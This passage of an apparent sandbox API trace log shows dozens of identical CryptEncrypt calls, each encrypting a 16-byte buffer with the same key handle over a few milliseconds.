pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.388] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.389] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.390] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.391] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.393] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.394] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 